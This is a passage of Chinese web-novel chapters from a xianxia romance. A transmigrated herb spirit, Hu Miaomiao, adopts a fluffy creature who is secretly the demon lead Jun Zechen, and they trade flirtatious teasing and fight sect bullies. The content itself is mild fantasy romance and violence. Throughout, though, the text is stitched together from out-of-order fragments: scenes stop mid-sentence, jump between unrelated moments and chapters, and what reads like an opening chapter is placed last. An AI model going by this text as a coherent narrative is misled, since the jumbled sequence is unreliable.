他说:“我醒来,你正在对我图谋不轨,我不过是还原现场,怎么反倒是你委屈成这样?” 他说:“我受了伤,伤的不是眼睛,看得清清楚楚,你就快贴上我了。” 他说:“你既然这般喜欢我,连我受伤也情难自禁,为何当初又要冷漠的拒绝我?只要你一句话,我们就可以在一起,到时候你可以对我做任何事,包括……” 他的大手从她的后脑来到她的唇瓣,指腹揉——弄她嫣红的唇珠。 “包括对我肆意亲吻。” 第 37 章 第 37 章 君泽琛变了,他以前只会臭着一张脸,说话直来直去,没一句是好听的。 现在变得乖乖的,浑身上下都散发着一种……小狐狸思索,嗯,是一种雄性侵略性。 胡淼淼怀疑他受伤的时候伤到了脑子,不然为什么会说出这些让狐狸脸红的话。 她脸皮一红再红,像是热水烧开,再让他说下去,怕是放上去一枚鸡蛋都可以烫熟了。 狐要羞炸了。 她抬起手,啪嗒一下捂住男人的嘴,手动消音,并红着一张脸威胁,“你再说,再说……我让你自生自灭!” 她瞪着水灵灵的眼睛,恶狠狠的,试图以此恐吓他。 谁知,男人的眼神更恐怖了几分,甚至喉结连续滚动了几下 ,掌心下的唇瓣轻动,似乎想要当场吃狐狸。 胡淼淼不明白捉妖师有什么癖好,更不知道她那张漂亮的脸蛋,美眸水雾涟涟,伪装炸毛刺猬的时候有多可爱。 普向阳嗤之以鼻,“少在这拖延时间,看你修为也不高打不过我们,进入秘境难不成要靠刚才的大块头?把面具摘了,如果是人族,我倒是可以放你一马,还能给你庇护。” 从此女下方舟,他们就注意到了,看对方的方舟破破烂烂,必定不是什么宗族,而且就只有两个人,虽然那个大块头看不见修为,但他们人多势众,不信拿不下他们。 离火宗是一个中等门派,宗门有化神期长老坐镇,那位长老正是普向阳的爷爷。 普向阳是被宠大的,这些年仗着化神期爷爷没少欺男霸女,到秘境也闲不住,冷不丁看见个合眼缘的,便趁着人家师兄出走心痒难耐前来搭讪。 本来还想装模作样,如果此女能跟他走自然省不少事,可惜她脾气不太好。 普向阳没了耐心,对身边的弟子使了个眼神,其中两名弟子向胡淼淼走去。 “沙沙——” 风吹过衣角,不远处青泽宗的外门弟子倏然注视东方,不知何时四周雾气越来越浓,地底倏然窜出数丈高的藤墙,遮住了众人的视线。 离火宗的弟子一愣,尚未反应过来,脚下一紧,有什么困住脚裸,狠狠一拽拖入地底,就剩下个脑袋。 “崽崽烧他。”清晨的阳光穿透雕花窗棂散入房内,小小的黑色影子蹲在窗前的桌子上,一点点往下挪动。 桌子并不高只到人类腰际,可对于小动物而言好似无法跨越的沟壑。 毛绒绒的脑袋向下探去,后退了几步,掩藏在长毛下的后腿用力助跑,到桌边一跃而下。 轻盈地落在地上,然后哒哒哒跑到床边往上爬,等爬上床用黑黝黝的眸子一瞬不瞬凝视睡梦中的人。 女子侧卧,面朝他的方向,卷翘的睫毛轻轻搭在眼睑处,留下淡淡的阴影,白润的脸庞染上压在枕头上,脸颊红润,呼吸浅浅的,安静得像是变了一个人。 然而什么岁月静好都是假象,不等君泽琛反应过来,对方纤细的手臂一伸,把他捞入怀中,蹭了蹭,继续睡。 君泽琛:“……” 昨夜一定是鬼迷心窍,才会被她连哄带骗,让她上药包扎,结果对方仗着这点“恩情”,对他胡作非为,说什么也要跟他一起睡。 君泽琛现在虽然是幼年姿态,但这个壳子离住着的是一个少年人,当然不会这样不清不楚地跟一个人类女子睡觉。 偏偏对方刚给他上完药,不能忘恩负义去咬她,只能后半夜趁着她睡着自己爬出来。 他不知道为何出现在人族,却知道人族对妖族的敌意,没恢复以前的实力绝不能暴露身份。 为今之计,先想办法保住性命趁着这女人不注意偷偷离开。 奈何身子不争气,挠了半天窗户都没把那扇破窗推开。 眼下又落入人类女子的魔爪,君泽琛揣着爪子,绝望地闭上了眼睛,打算眼不见心为净。 紧接着…… 他发现,只要和她有身体接触就能听到此人的心声。 【噗嗤哈哈哈,我竟然在毛团子脸上看见了表情,他这样可爱真的好吗?闭上眼睛是想我亲醒他吗?】 胡淼淼昨天晚上睡得很香,可隐约梦里还是能听见什么挠木板声,早上的时候就醒了,一睁开眼,就看见那黑团子不知道用了什么本事,爬上了窗户,用那两只小短腿扒拉窗户。 扰人清梦的罪魁祸首找到了,胡淼淼瞧着有趣,便也没打扰他。 她发现,这小东西有自己的想法,完全不像是一直普通的兽,谁家正经兽还会助跑呢? 而且行动速度也很快,眨眼就到了床边,还好她闭眼睛快没被他发现。 不过她还是没忍住,假装睡糊涂作势把毛绒绒的黑团子抱回来,就看见小家伙毛脸上露出苦大仇深的表情。 【哈哈哈~】 不等她在心里嘲笑完,黑团子刷地一下睁开眼睛,开始瞪她。 黑毛球通体乌漆嘛黑,唯有一双眼睛明亮得吓人,配上眼底的暗红,就好似漂亮的黑红色猫眼石。 胡淼淼下意识摸了一下自己手腕上的猫眼石,然后对小东西和蔼一笑,“来给我亲一个!” 黑团子浑身的毛像是蒲公英倏然炸开,急速窜出了她的手掌心,胡淼淼眼前黑影一闪,再次抬眼,对方已经到了门口,对她炸毛哈气。 她不悦地坐起来,对他说:“你又不是黄花大闺男,亲一口又不会掉块肉。” 君泽琛耳朵尖粉了一圈,气得不想跟她说话,眼睛死死盯着她,生怕她过来逮住他亲。 妖族豪放,个别种族更是淫□秽不堪,君泽琛是从小流浪在外的野妖,没人会教他廉耻。 可他骨子里认为,他和那些肮脏行为的妖不一样。 他没有权势,没有力量,甚至连是什么种族都不知道,但他唯有这身上天赐予的干净躯壳。 将来如果有女妖不嫌弃他的种族,和他结为妖侣,他就有家了 所以在这之前要和一切异性生物保持距离,不然他自己都会嫌弃自己。 他默念,人类不知他是异性妖族,她类不懂事,他还不懂事吗? 决不能稀里糊涂互相占便宜。 不然,她别想嫁出去,他别想娶妖侣。 于是,现代开放思想的人类和古代忠贞思想的小妖互相对视,谁都不让谁。 胡淼淼眨眼:给亲不? 小崽子黑汪汪的小眼睛都快喷火了。 不给亲! 直到一阵敲门声打破室内一片死寂。 “小师妹醒了吗?师姐带你去熟悉熟悉宗门。” 一声声惨叫响起,红色火焰裹挟着浓重的杀机,瞬间把数名弟子周围的土地包围。 浓烟肆意,灼烧着皮肤,一点点研磨,胡淼淼肩膀上的君泽琛眼中翻涌着涛涛冷意,火焰向内处烧去。 胡淼淼拍拍他的头,“乖,先别杀。” 君泽琛一愣,爪尖烦躁地踩了踩她的肩膀,似在说,他们这么坏,为何不杀。 他们找上她,如果她没有能力会有什么下场,身在弱肉强食妖族中的君泽琛再清楚不过。 如此欺辱女人的坏人,不该活在世上,妖族该杀,人族也该杀。 君泽琛心里充满戾气,筋脉又是一阵绞痛,更痛的是心尖,好似被无数带刺的藤蔓缠绕,一点点缩紧,刺得他呼吸困难。 当初明明说好,有人害他,那就反杀,如今都不做数了吗? 会不会觉得他做法偏激,残忍? 可那些人明明要欺辱她。 君泽琛眼底氤氲着猩红,却还是如同被拴住捆妖绳的野兽,收敛了利爪。 罢了,她不让杀,便不杀。 周围的火焰都跟着他的情绪萎靡下来。 连毛绒绒的耳朵都跟着耷拉下来,情绪闹得分外明显,胡淼淼哭笑不得,指腹薅起他的一只耳朵,手动帮他竖起来,小声说,“那么多人看着咱们收敛点,等进入秘境,随你怎么杀。” 话音刚落,蔫嗒嗒的小兽另一边耳朵噗叽一下,也跟着竖了起来。 炸毛小兽很好哄,多顺顺毛就好了。 胡淼淼修为在外人看来是个小筑基期,实际上堪比金丹,对付这一群小鱼小虾绰绰有余,她把众人死死捆住,让小毛球烧掉一层皮,抄起四师兄送的狼牙棒一顿打,总算扯了围绕在四周的屏障。 有藤墙遮挡,外面看不见里面的情况,只知道树藤钻回地底,普向阳一众惨不忍睹地躺在地上哀嚎,她还贴心地用藤条把他们拖走,免得占地方。 好大一只白毛绒绒,斯哈斯哈。 没想到四师兄的大熊竟然是白色,两米多高,站得笔直,白毛丝滑,眼睛炯炯有神憨态可掬。 胡淼淼礼貌问,“我能摸摸吗?” 铁南嘿嘿一笑,“当然可以,看样子它也很喜欢你。” 胡淼淼心花怒放,被垃圾打扰得心情都好一大半,抬手就要去抱抱大白熊。 “啾啾~” 胡淼淼动作戛然而止,僵硬地回头,对上小毛球虎视眈眈的视线,他表情很微妙,圆溜溜的眼睛危险地眯起来,又啾啾了一声。 你摸啊,你怎么不摸了? 大熊好,还是我好? 活像一个妒夫,不对,妒兽! 胡淼淼:“……这,非说不可吗?” 以前她哭,只会让欺负她的人变本加厉。 现在她哭,却总有人哄着,她一遇见事就想掉眼泪,然后等人哄。 眼里凝聚的水雾越来越多,胡淼淼眨了眨眼睛,挤出更多眼泪,水汪汪地看着君泽琛,“君泽琛,你是怎么想的?” 真的认为,狐是利用他吗? 如果真是这样,那她……是不是真的该离开了。 胡淼淼从没想过利用谁来达成某种目的,可现在想想,她还真是狐狸本性,一边拒绝他,一边又想让他帮她。 她很坏了。 思及此处,胡淼淼鼻尖泛酸,比被小黑狼啃了一口还难受。 君泽琛本来只是逗弄小狐狸,没想到她的反应会那么大,他喉咙紧绷,“不是,我的意思是,第二种可能是你不止看中我的人,还看中我的实力,不然为什么不去找别人,偏偏找我帮忙呢?” 第 38 章 第 38 章 狐狸关心他,等于喜欢他,想让他去收拾小狼崽,是看中他的实力和喜欢他。 胡淼淼哭了一半儿,晶莹的泪珠还含在眼中,睫毛湿哒哒的耷拉着,好半晌才反应过来他话里的意思。 他不是在苛责她利用他。 而是拐弯抹角套路她。 无论是哪一种可能,都是喜欢他。 胡淼淼被绕得晕乎乎,傻傻地站在原地,“你……你不怪我?” 君泽琛深呼一口气,盯着某个笨蛋小狐狸,问她:“我需要怪你什么?” 清风拂过花木,暖阳缀满苍穹,时隔多日,御兽宗终于开启了第二场试炼。 这关主要是看灵兽和主人之间的默契,又为了不伤及灵兽,所以看起来很简单。 由二师兄出题,再让兽兽传达给主人,只要过了这一关,就能进入第三关。 然而灵兽的智力有限,又不会说话,绝大多数靠主人硬猜,能不能猜对还要看外门弟子的造化。 这一次只有二十人,胡淼淼大致看了一圈,还在其中看见了熟人,她走过去,正好看见那妹子在安慰那只花孔雀,“没事,有药师的灵药,你的尾巴应该用不了多久就能长回来。” 胡淼淼唏嘘,默默捏了一把罪魁祸首的尾巴。 君泽琛趴在她身边,瞥一眼那边,收回视线,抽回尾巴再若有若无地拍到她的手背,留下一阵痒意。 胡淼淼莫名有一种她是猫,对方是逗猫棒的错觉。 “你尾巴长得也好快,刚捡到你那会儿,还没兔子尾巴长呢。” 她这次彻底攥住他不听话的尾巴。近些日子,胡淼淼身处于水深火热之中,每天一睁开眼睛,就能感受到脖子上甜蜜的负担。 无论晚上小毛球睡觉离她多远,第二天一早都会趴在她脖子上睡,这也导致,她每天梦里都能梦见自己变回原形。 一棵可怜兮兮的小草,被一只大毛绒绒压到窒息,然后从梦中憋醒。 她试图跟小崽子讲,压她可以,但请不要压脖子。 小崽子垮着小猫批脸,看起来有些委屈,说不是他干的,胡淼淼不信,他只好点头同意,暗自思索晚上一定要控制好自己。 结果再次醒来,他那么一长条挂在她脖子上,尾巴尖无意识地扫着她的肩膀,时不时擦过她露着外面的肌肤上,留下一阵痒意。 说来奇怪,明明只是一小只,怎么半边肩膀,还有腰都被压疼了。 莫不是小崽子一晚上换了好几个位置压她? 她生无可恋躺在原位,指腹抵住他鼻子。 这回轮到君泽琛呼吸不畅被憋醒。 他身下温软,脑袋竟然搭在她下巴上,一睁开眼就能看见她的唇…… 他如同触电般炸了毛,下意识想窜到床底,结果噗叽一声,撞上早已准备好的陷阱。 胡淼淼用木灵力编织好一张灵网,严严实实包裹住一切下床的路径,她早料定小崽子会逃跑,今天非要抓个人赃并获。 见小崽子落网,她靠在床头,青丝披散在身后,指尖随意捏起一缕,扫了扫呆愣中的小兽鼻子,笑意盈盈,“早啊,言而无信的君绒绒?” 君泽琛:“……”谁是君绒绒,听不懂。 鼻尖有点痒,想打喷嚏,他别开脸心虚地叫了一声。 真的不知道怎么回事儿。 男女有别,人/兽也有别。 君泽琛从不仗着自己幼崽,就占人类的便宜,明明每天夜里睡觉都保持安全距离,结果最近不知怎的,每次一睁眼都会到她身上睡觉。 换作以前,他肯定怀疑是人类女子的恶作剧。 可最近他对她……有一点点好感,不愿意往坏处想,所以,不是她的问题,肯定是自己的问题。 至于问题出现在哪,君泽琛不知道,从胡淼淼的角度来看,黑色的毛团子逃跑未遂,在床边缩成一团,抿着飞机耳,黑汪汪的眼睛还有些茫然。 可爱死啦! 如果不是怕小崽子生气,胡淼淼想把他抱起来往死里亲!!! 咳咳,冷静,别吓到小可爱。 胡淼淼矜持地摸了摸他的脑袋,“你看,你想和我睡就来嘛,何必每天偷偷摸摸的。” 乍一触碰,君泽琛听到了她的心声。 这个人类女子,一如既往的想亲死他,并且…… 【哈哈哈终于可以名正言顺抱着毛绒绒睡觉啦!】 那怎么行? 君泽琛像是受到某种惊吓,浑身的毛毛炸成蒲公英,撒腿就要跑,甚至动用了妖力,胡淼淼怕撞坏他赶紧撤回了灵网,那么大一毛绒绒,撒手没,窜到了床底怎么都不愿意出来。 胡淼淼:“……” 还有什么比毛绒绒不让抱着睡更生气的? 她轻哼一声下床洗漱,回来时毛团子还在床底。 胡淼淼不管他,床上的通灵玉突然亮起。 她用灵力点开,王岚的声音从通灵玉中传出,“第一关复选已经结束了,明天开始第二关,第二关考验的是默契,你要和灵兽做好准备,还有就是你今天别去照顾其他灵兽,二师兄找你。” 自从第一关比试出现问题后,御兽宗的外门晋级比试便停了,这些日子除了已经通关的胡淼淼他们,其他被迫终止的弟子,又重新比一遍。 王岚还说,这一关筛选下去一大半,算上胡淼淼,不到二十人。 明日的规则,似乎是看灵兽的配合程度。 看小毛球一时半会不会从床底下出来,胡淼淼跟他说了一声,“二师兄找我有事,我出去一趟,你在家待着,这次不许单独出门。” 结果下一秒,黑色影子一闪,她肩膀沉重,比以往更沉的毛球蹲在她肩膀上,臭着脸要一起去。 没记错的话,那个所谓的二师兄花名在外,而且是白虎的主人,有其兽必有其主,都不是好东西! 然后,君泽琛就听到了这句话。 【口是心非,嘴上说不要,身体那么诚实,小崽子爱惨了我。】 君泽琛:“……”刚才助药师给小黑球用了药,大概是成长期太突然,加上化妖水,超出幼崽的忍受极限,他已经昏了过去。 胡淼淼发现,被她抱着的时候,小毛球身躯能舒展一些,不那么紧绷。 药师说的那些草药,一听就不是凡物,她毫无头绪,至于其他的…… “无垠草可能解?” 助药师惊讶:“你还知道无垠草?不过传闻中无垠草可生死人肉白骨,那也仅是传言而已,并没人见过此草,就算找到无垠草,那也药不对症……除非你在他濒死时,才能救一命。” 可时机却不那么好把握,谁都赌不起。 胡淼淼沉默下来,低头默默小兽的脑袋,心思沉重。 灵兽是捡的,既然捡了她就要负责,更何况,她也是真心喜欢这小只。 系统道:【你想牺牲自己,去救他?】 胡淼淼:我是在想,无垠草好使,那我薅根头发给它入药。 系统:【……算了,我知道那些草药在哪里,现世没有不代表其他地方没有,之前跟你说过,天地灵气动荡,远古秘境即将开始,在这之前,会引出其他小秘境,其中化妖果便是在鸿蒙秘境中,不就是被男主得到的吗?】 鸿蒙秘境? 男主得到机遇很多,胡淼淼是一点都没看,或者说扫一眼,就去看文中关于毛绒绒的描写了。 从药师那里拿了改良版的药剂回到小屋,胡淼淼的腰包再次被洗劫一空。 不过钱可以再赚,得先想办法去秘境。 她弯腰想把小毛球放回床上,腹部的衣衫传来拉力,低头一看,黑山淼的缝隙中伸出一个乳白色,微透的一截小爪尖,正勾着她的衣服。 胡淼淼去解,却被拉得更紧,睡梦中的小家伙更粘人,爪子都攥成小拳头了,死活不分开。 算了,抱着吧。 住脑,他没有! 对于妖族来说,尾巴和耳朵最为敏感,能清晰地感知到她掌心的柔软和温暖,一股酥麻从尾巴根部蔓延到四肢百骸。 君泽琛没想到会这么敏感,身躯一僵,嗖地一下缩回尾巴压在身底下,背脊上炸出一片浮毛。 胡淼淼轻眨一下眼眸,眼底升起盈盈笑意,“这么大反应,一会比试时候听话,输了比赛奖励你一个么么哒。” 她是开玩笑,可君泽琛听不懂什么叫么么哒,胡淼淼那副表情,不像是好东西。 他抿起耳朵,决定打死也不能输了比赛。 就二十人,比试起来也很快,顺序是抽签,胡淼淼运气向来不好,直接抽中最后一名,干脆坐在一边看比赛一边抓住熟人聊天。 胡淼淼低头定脚尖,鼻子红彤彤的,还有些酸涩和堵塞,她吸了吸,瓮声瓮气:“你帮我,是因为想和我在一起,我……我拒绝了你,还整天赖在你身边混吃混喝,像一个大骗子。” “而且,我这个大骗子还想让你帮我处理麻烦事儿。” 于是,众人看着胡淼淼的目光瞬间变了,不再敢像刚才那般轻佻肆意,并且暗中猜测到底是哪个宗门的弟子,往日竟然未曾见过。 等铁南回来发现气氛有些不对劲儿,然而他心糙,没往其他方面想,兴致冲冲地生火,烤肉,并放出了一只超级大的大白熊。 胡淼淼眼睛都直了。 所以,一家三口是怎么来的。 他和好狗,谁是正房?总不能有一个是儿子吧? 难得见捉妖师一脸纠结,胡淼淼笑了。 “逗你的。” 她突然道:“其实,你在骗我对吗?” 君泽琛心头一紧,抿着唇,目光盯着火堆,若无其事:“你说的是什么?” 骗她? 是骗她醉酒那晚,忽悠她对自己为所欲为,还是他早知她的身份,选择隐瞒? 亦或者,他是一只恶劣的狼妖? 谎言太多,连他自己都忘记了,根本不知道她说的是哪个。 第 39 章 第 39 章 “其实,你一直在骗我吧?” 胡淼淼说,“我过后反应过来,只是不敢相信罢了。” “好狗早就死了,这世界上哪来的什么灵魂啊,更何况它是一只狗,人的灵魂尚无法长存,狗有怎么会呢?” 胡淼淼每一句话 ,君泽琛都心都跟着被攥紧,直到听到最后一句话,他眉宇松开,“你说的是好狗?” “是啊!”胡淼淼一手抱着膝盖,一手托腮,“我和好狗说话,它从来没回应过,虽然你的绿色眼睛很奇怪,但你是捉妖师,肯定和正常人类不一样。” 君泽琛抿着唇,心想,你晚点埋狗不就没事儿了? 胡淼淼早就知道君泽琛是骗人的,只不过一个敢骗,一个就敢信,她生活在男人编织的梦里不愿意醒来。 可是,梦境终究是要醒的。啊! 四周环境突然静谧,火焰在眼前不断放大,直冲王云的脸而去,他下意识用手遮挡,霎时间一阵白烟和肉香味飘在空气中。 伴随着一声惨叫,王云捂着手臂,骂骂咧咧:“小畜生你找死!老子弄死你!” 说着,他捡了个棍子就去揍君泽琛。 君泽琛耳朵向后折起,前爪匍匐在地,黑黝黝的瞳仁中闪过一抹红色,危险地眯起了眼睛,尖锐的犬齿露出来,嘶了一声发出最后的警告。 在棍子即将落在他身上时,他后腿一用力。 突然,他像是听到了什么声音,耳朵动了动竟直挺挺地撞上了袭击过来的木棍,在一声熟悉的惊叫中倒在地上。 “小毛球!”胡淼淼很少做梦,她每次做梦都像是某种预兆或者警醒。 比如在现代,她梦见有一只凄惨的小流浪狗在扒门,疯狂叫嚷,没过几天,就在附近小区门口垃圾桶里捡到一只受伤的小狗崽。 当然也有不准的时候,比如梦里她是一个超级大渣女,养了一个小玩伴,一口一个我喜欢你,结果为了外面花花世界,转身就给别人跑了,导致那小玩伴长大后疯狂报复,把她抓回来剥皮拆骨一口吞。 胡淼淼一直对那个梦心有余悸,她最讨厌做梦了,无厘头不说,还不受控制。 换世界后,胡淼淼没再做什么稀奇古怪的梦,结果今夜竟然又做梦了。 梦里她养的毛绒绒突然变成巨型猫科动物,虎头虎脑,一爪子都能把她压在床上摩擦。 毛绒绒的大长尾巴轻而易举环住她的腰肢,禁锢她所有动作,以一种绝对压倒式姿态,用暗红的眼睛盯着她,像是思考从哪里下嘴。 胡淼淼有些窒息,然后眼睁睁看着那只大猫的脸蹭了过来炽热的呼吸喷洒在她脖子上,吓得她当场惊醒。 一睁开眼天色已大亮,阳光透过缝隙照进来,晃得她一阵恍惚,直到脖子上传来异样才把她唤醒。 鬼压床? 胡淼淼颤巍巍伸手,手感软乎乎,毛绒绒。 毛绒绒可以治愈一切,胡淼淼瞬间从抛去梦中的负面情绪,借机多捏了一把。 “哼唧?” 君泽琛迷迷瞪瞪叫了一声,然后发现事情不对劲儿倏然睁开眼睛。 胡淼淼戳戳他的脑袋,先发制人,“崽崽好粘人啊!一刻都离不开我。” 【啧嘴上说不要,身体好诚实,昨天晚上还对我爱答不理,今天就爬我脖子上睡觉,就是有点呼吸不畅,唉这甜蜜的负担啊。】 君泽琛麻爪,蹭地一下从她脖子上窜下床躲到桌底,怎么叫都不出来了,在桌底下烦躁地踱步。 怎么会。他却不介意,溺水的兽抓住了救命稻草,彻底浮出水面,心头也是暖暖的,君泽琛低头学着白虎的样子,用耳朵蹭蹭她的掌心。 “啾啾?” 那要是以后很多人想杀我呢? 他紧张地竖起耳朵,心跳如雷。 如果,有很多人要杀他,她是否还会站在他这边,犹如此时一样,跟他说,错不在他…… 胡淼淼:“???”不是,就这么稀里糊涂强买强卖? 什么羞耻台词,这是灵兽结契,又不是什么道侣契,搞得那么…… 系统,不是说草和灵兽是没有好结果的吗? 回应胡淼淼的是一片寂静,显然,系统也很意外,并处于震撼中。 一声细小的几乎听不见的喘/息,把胡淼淼的思绪牵引过去。 只见刚才还好好的小毛球,牙尖松开了她的手,掉落下去,胡淼淼眼疾手快接住他。 他才没有黏人! 君泽琛很确定,昨天晚上自己在角落里睡觉。该不会是那人类把他抱过去的吧? 正想着,胡淼淼坐到梳妆台前像是发现什么,惊呼一声,“你昨天晚上咬我这了?” 胡淼淼赶来时正好看见这一幕,本来怒火中天的情绪一顿,紧接着更浓了,只不过发火对象变了一个人,她调动此处所有木系灵力,霎那间,脚下山石颤抖,所有的植物好像都活了过来,齐刷刷抽向王云。 唯有一条浅绿色叶子,小心翼翼接住了被打飞的幼兽,带他来到胡淼淼身边。 胡淼淼控制着植物给那男人一顿抽,别看她来自现代和平世界,抽起人来毫不手软,在一声声惨叫谩骂声中,她低头看见他的模样心疼坏了。 小心翼翼抱起他。 小崽子进来的时候活蹦乱跳,跑得飞快,如今却躺在她怀里,耷拉着脑袋,无精打采的,看见他如此胡淼淼什么火气都消了,心里骂骂咧咧臭东西,动作却轻柔地拭去他毛上的灰尘。 罢了,以后带回去好好收拾,他是一只听懂人话的兽,交流一下就好了。 胡淼淼勉为其难把自己哄好,谁知这祖宗不知发了什么疯亦或者跟她赌气,挣扎着想跳出她的怀抱。 她气笑了,“小混蛋再敢动一下试试?我亲死你!” 怀里的小团子顿时不动了。 小兽浑身发热,颤抖,眼底一片红色,宛若沸腾的血海在翻涌透着痛苦和倔强。 “快去找药师!” 通过外门测试本应该是一件喜悦的事情,结果事情刚结束就演变成这个样子。 却说青泽宗本应该重伤的男人,醒来第一反应就是出了宗门,吓坏了宗门的师兄妹们。 这件事甚至惊动了青泽宗宗主,派众人出去寻找。第一关比试很快就开始了。 自从见到小毛绒绒,胡淼淼一直把他带着身边,连睡觉都要放在枕头旁,保证醒来第一眼能看见毛绒绒,一天下来都美美哒。 作为宗门天骄,容不得任何闪失,人是在一家毫不起眼的茶馆找到的。 那是宗门众师弟师妹们第一次见大师兄失态,苍白的脸色诡异得让人心惊,不过几秒,他恢复温热对众人道歉,跟着他们回了宗门。 宗主怕他再胡来,亲自勒令几名内门弟子守在他门前,伤不好不允许踏出房门一步,然后发出寻找药师的悬赏。 听闻那个秘境要开始了,不论如何,也要医治好慕言辞,好为宗门增添一份助力。 平时慕言辞在宗门人缘不错,众弟子没有怨言地守在附近,一守就守到了晚上,时不时回头看一眼,敞开的窗内,白衣男子正手持夺回来的玉佩,仰望夜空许久。 他终于意识到,小渣狐宁愿动嘴巴咬他,都不愿意让他亲。 他阴恻恻死亡凝视她:“你不会想反悔吧?” “当然不是。”胡淼淼左顾右盼,小嘴抿着,“你都没追到我,不给你亲。” 山鬼的故事里都很浪漫,怎么到她这就只有一个火堆,一个破盆,几枚鸡蛋,一个受伤的男人。 胡淼淼不满意,指指点点挑剔,表示环境不行,不够浪漫,人不行,至少第一次亲吻,他肯定不能是伤残的情况。 君泽琛不敢置信:“我伤残?” 男人嘴角顶着一个小牙印,黑脸:“哪里残了?你给我说清楚!” 胡淼淼:“哪哪都残。” 君泽琛:“……” 当一只狐狸想要挑刺的时候,哪哪都是刺。 没残也要把他咬残。 第 40 章 第 40 章 胡淼淼和君泽琛的生活方式又变了。 狼王大人要上岗了,但是家庭地位越来越低,小狐狸则越来越大胆,里里外外将捉妖师挑剔个遍儿,这不行那不行。 更别想有什么亲密举动,君泽琛觉得,小狐狸身上有一种开关,和狐狸肚子似的,摸一下就蹬腿踹他。 与此同时,小狐狸也不讲道理,她不允许君泽琛亲近她,自己却怎么亲近他都行。 她开始变得粘人了,偶尔会提出一种要抱抱的要求。 君泽琛满足她,可大手刚要揽住她的肩膀,就被她拍开。 注意看,这里有一棵成熟的草正在被逼着拯救世界。 胡淼淼父母早亡,唯有哥哥护她平安长大,大学毕业后开了一家宠物店,收留学校附近的小猫小狗,时而看看打发时间。 结果嘴欠眼睛一闭一睁穿书了,脑子里还有个系统嘚啵嘚。 《正邪》是一本无CP,主角叫君泽琛,从人人喊打妖妖可欺的异类妖族觉醒血脉,一路翻身逆袭的故事。 谁晓得男主最后作天作地,男主身,反派命,结局毁灭了世界。 胡淼淼对男主无感,抛开男主不谈,他屁股后一串毛茸茸才是她的最爱。 一码归一码,看病娇文疯批文她可以斯哈斯哈摩多摩多,深入其中她想打电话给妖妖灵。 懊恼的情绪在心中徘徊不散,早知会穿书当初就不该嘴贱说什么不全文背诵,现在倒好只勉强知道一些主线剧情,眼前还有一个对她虎视眈眈的男人。 每个故事中都有一个推进剧情的关键男配角 眼前这位是第一宗门首席大弟子慕言辞。 男主兽态诡异为妖族所不容,好不容易在修真界苟活一段时间支棱起来,却被慕言辞发现是妖,当众拆穿男主真身,并联合众仙门围剿,导致男主身负重伤,坠入妖族和人族边界的君渊之中。 慕言辞也身受重伤,全靠一直陪伴在他身边的无垠草续命。 无垠草可生死人而肉白骨,原是被他从秘境带出来,救师尊的女儿。后来幻化人形,慕言辞起了其他心思,本着多方面利用的原则,哄着原主那根傻草依赖他,牺牲了大半条命把他救回来,到最后榨干她的血碾碎了筋骨去给他小师妹入药,这不纯纯大冤种吗? 偏偏,胡淼淼现在成为了大冤种。 此时男人一脸柔情,想要去握她的手,“我承认当初带你回来是想入药,可知道你能化形后我绝无半分这种想法,只是放你一点血不会伤及你的性命,师尊于我有恩,等把他女儿病治好,我会离开宗门跟你去过喜欢的生活。” “你师尊对你有恩,关我什么事?” 胡淼淼后退一步挥开他的手,她纤细的手腕上,有一条用枝条编织的手链,中间有一棵晶莹的猫眼石随着应激的举动而轻晃,在昏暗的山洞里闪过诡异的亮光。 掩盖在手链下面的皮肤上是触目惊心的刀痕,正滴着鲜红的血液,独属于无垠草的苦涩草香,弥漫在潮湿的空气中。 刚才,是原主第一次被取血,导致她现在身体虚弱地靠在山壁上,整棵草半死不活,盯着慕言辞的眼神中小火苗嗖嗖地窜。 身为男配,慕言辞长相毋庸置疑,身长玉立,俊逸非凡,在外人面前,永远是温和宽厚的大师兄,他没触到胡淼淼的手也不尴尬,笑容自然地收回手,声音夹杂着些许无奈,“我知你今日心情不好,便不在你这多叨扰了,改日再来看你。” 慕言辞深深看她一眼,眼里倒映着她的身影,女子只穿着单薄的绿衣,身姿纤细般般入画,容颜更是灿若春华,美眸顾盼之间灵气逼人,发火时也不会让人心烦,反而觉得她的摸样有几分娇憨。 罢了,再给她些时日,如若他不是青泽宗大弟子身负重任,也不愿强求于她,可惜……他眼中情绪复杂轻叹一声,转身离开。 胡淼淼讽刺地看着男人离开,这男人有病,自私到骨子里还偏偏做出一副圣人的样子。 慕言辞明明是担心血放久了入药效果不好,这副嘴脸给谁看? 况且如果没记错,他第一次找原主取血用于结元婴,根本不是为了什么小师妹。 可惜,她的血哪有那么容易拿呢。 祝他好运。胡淼淼严肃点头,必须的,然后又被怀里的毛绒绒咬了一口。 “你先休息,等明日我带你了解宗门情况,咱们人不多,但是房间还是不缺的,不像其他宗门,外门弟子还要挤在一间房里,睡大通铺。”王岚推开房间,“房间里可洗浴,只要施加点灵气,就能引出后山的泉水,你有问题也可以随时联系我。” 她走前,把一枚通灵玉交到胡淼淼手中,那是一个用玉石雕刻而成,不到巴掌大的方块,乳白色中夹杂着几丝霞光,和现代的手机差不多,上面浮现着两个小小的光点。 还有两排小金字。 【御兽宗】 【修真界奇闻】 胡淼淼抱着黑色毛球坐到床上,惊奇地点开【修真界奇闻】 发现这个修真界是真发达,通灵玉不就等于手机吗? 只不过手机是用现代科技,通灵玉却是用灵力维持的。 可以可以,只要有灵力,就没有手机没电的烦恼。 她点开一看,发现修真界奇闻就是个论坛。 上面都在议论青泽宗雷劫的事,渡劫人人都会经历,只不过青泽宗首席大弟子渡的劫恐怖至极,至少不是元婴期的雷劫。 最新消息,慕言辞尚在昏迷之中,不过他命大,性命无忧。 胡淼淼撇撇嘴,试探性地用一道灵力传入通灵玉之中。 修真界的这个很方便,不是用打字,而是用灵力连接意念,把想法传过去。 【我真不想乌鸦嘴:太好了,人还活着,那渡劫一定成功了~恭喜恭喜~】 违心地发出一条消息,胡淼淼若无其事返回上一个页面,又点开了【御兽宗】的选项。 御兽宗论坛消息少,只有寥寥几笔,都是关于后山灵兽的。 比如哪只灵兽生病了,需要找药师治疗,结果药师检查结果就是发情了,需要帮忙给兽兽找个对象。 比如一支有灵识的孔雀,对某某女弟子开屏了,吓得那弟子抱住胸口,声称人鸟有别,鸟哥你的情谊终究是错付了。 再比如,今天有一名叫“大师兄”的弟子,在论坛里吐苦水,今天给灵鸟取名字被骂了,听不懂鸟语,但是能知道它骂的好脏。 不就取了个咕咕鸡吗?鸡怎么了?种族歧视? 胡淼淼能想象到那画面,眉眼忍不住弯了弯,她开宠物院的时候,新来的猫咪骂得也都很脏。 不过,很可爱呀! 